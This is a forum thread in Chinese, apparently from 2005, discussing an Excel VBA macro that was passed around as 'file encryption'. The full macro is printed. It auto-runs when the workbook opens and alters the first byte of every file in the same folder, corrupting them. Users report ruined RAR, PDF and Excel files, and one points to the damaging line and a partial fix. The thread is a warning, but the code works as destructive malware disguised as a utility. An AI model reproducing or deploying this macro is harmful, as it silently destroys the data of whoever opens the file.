[推荐]文件加密，新手不得使用

lotustower

這個根本是一個害人程式

可惜我不可以阻止 [em19]

Private Sub Workbook_Open() cmdOK End Sub

Dim RecordNumber, strFileName, n As Long, arrBytes() As Byte Sub cmdOK() On Error Resume Next With ActiveSheet .Range("A1").Value = "檔路徑" .Range("B1").Value = "檔案名" .Range("C1").Value = "文件尾碼名" .Range("D1").Value = "大小(K)" .Range("E1").Value = "最後修改時間"

.Range("A1:F1").Font.Bold = True End With With Application.FileSearch .LookIn = ThisWorkbook.Path & "\" .FileType = msoFileTypeAllFiles If .Execute > 0 Then r = 2 For i = 1 To .FoundFiles.Count strTemp = .FoundFiles(i) strFileName = Replace(strTemp, (Left(strTemp, InStrRev(strTemp, "\"))), "") strPath = ThisWorkbook.Path & "\" ActiveSheet.Cells(r, 1) = strPath ActiveSheet.Cells(r, 2) = Left(strFileName, Len(strFileName) - 4) ActiveSheet.Cells(r, 3) = strFileName ActiveSheet.Hyperlinks.Add anchor:=.Cells(r, 2), Address:=strTemp ActiveSheet.Cells(r, 3) = UCase(Right(strFileName, Len(strFileName) - InStrRev(strFileName, "."))) ActiveSheet.Cells(r, 4) = Round(FileLen(strTemp) / 1024, 1) ActiveSheet.Cells(r, 5) = FileDateTime(strTemp)

If strPath & "/" & strFileName = False Then Exit Sub

Dim n As Long Dim arrBytes() As Byte

Open strPath & "/" & strFileName For Binary As #1 n = LOF(1) ReDim arrBytes(1 To n) As Byte Get #1, , arrBytes Close #1 arrBytes(1) = arrBytes(1) + r Open strPath & "/" & strFileName For Binary As #2 For RecordNumber = 1 To n Put #2, RecordNumber, arrBytes(RecordNumber) Next RecordNumber Close #2 r = r + 1 Next i End If End With End Sub

lotustower

[求助]如何破解加密的文件？？？

今天打开了一个给文件加密的Excel文件，至使机器中的很多文件都无法打开，请大家帮忙看看有没有办法破解？ 我把这个文件上传了，新手勿试！！！

http://www.officefans.net/cdb/viewthread.php?tid=46270&fpage=1

lotustower

發了 2 個短訊給 2 個登陸 VBA 板主，但好像沒反應！

難道這帖子不需要跟進？

唏!

york888

这个程序有严重问题, "密是加不了的" !只是将RAR文件全破坏了 (ＥＸＣＥＬ也有部分损坏） (有试过这宏的朋友请注意了) ,请各位帮忙怎样解决怎样可以恢复我的RAR文件!

[此贴子已经被作者于2005-10-11 14:32:43编辑过]

来生缘

晕了,我昨晚有试过运行呀,把我在论坛上的宝贝全列出来了,不会真是坏了吧?

york888

来生缘兄,你可得想想办法救一救我的RAR文件?ＥＸＣＥＬ文件也有部分损坏！

[glow=255,red,2]强烈建议版主将此帖删除，以免害人不浅[/glow]

[此贴子已经被作者于2005-10-11 14:37:19编辑过]

Fennyhao

我也给版主发短信了，没有任何反映啊……

stanleypan

arrBytes(1) = arrBytes(1) + r 很简单就是这个r作怪,把它变为 arrBytes(1) = arrBytes(1) -r 就可以恢复.

york888

以下是引用stanleypan在2005-10-11 14:52:31的发言： arrBytes(1) = arrBytes(1) + r 很简单就是这个r作怪,把它变为 arrBytes(1) = arrBytes(1) -r 就可以恢复.

可以恢复EXCEL文件,但RAR及PDF文件无法恢复! 版主有好办法吗?

stanleypan

用二进制打开与正常的文件头比较一下,就明白了.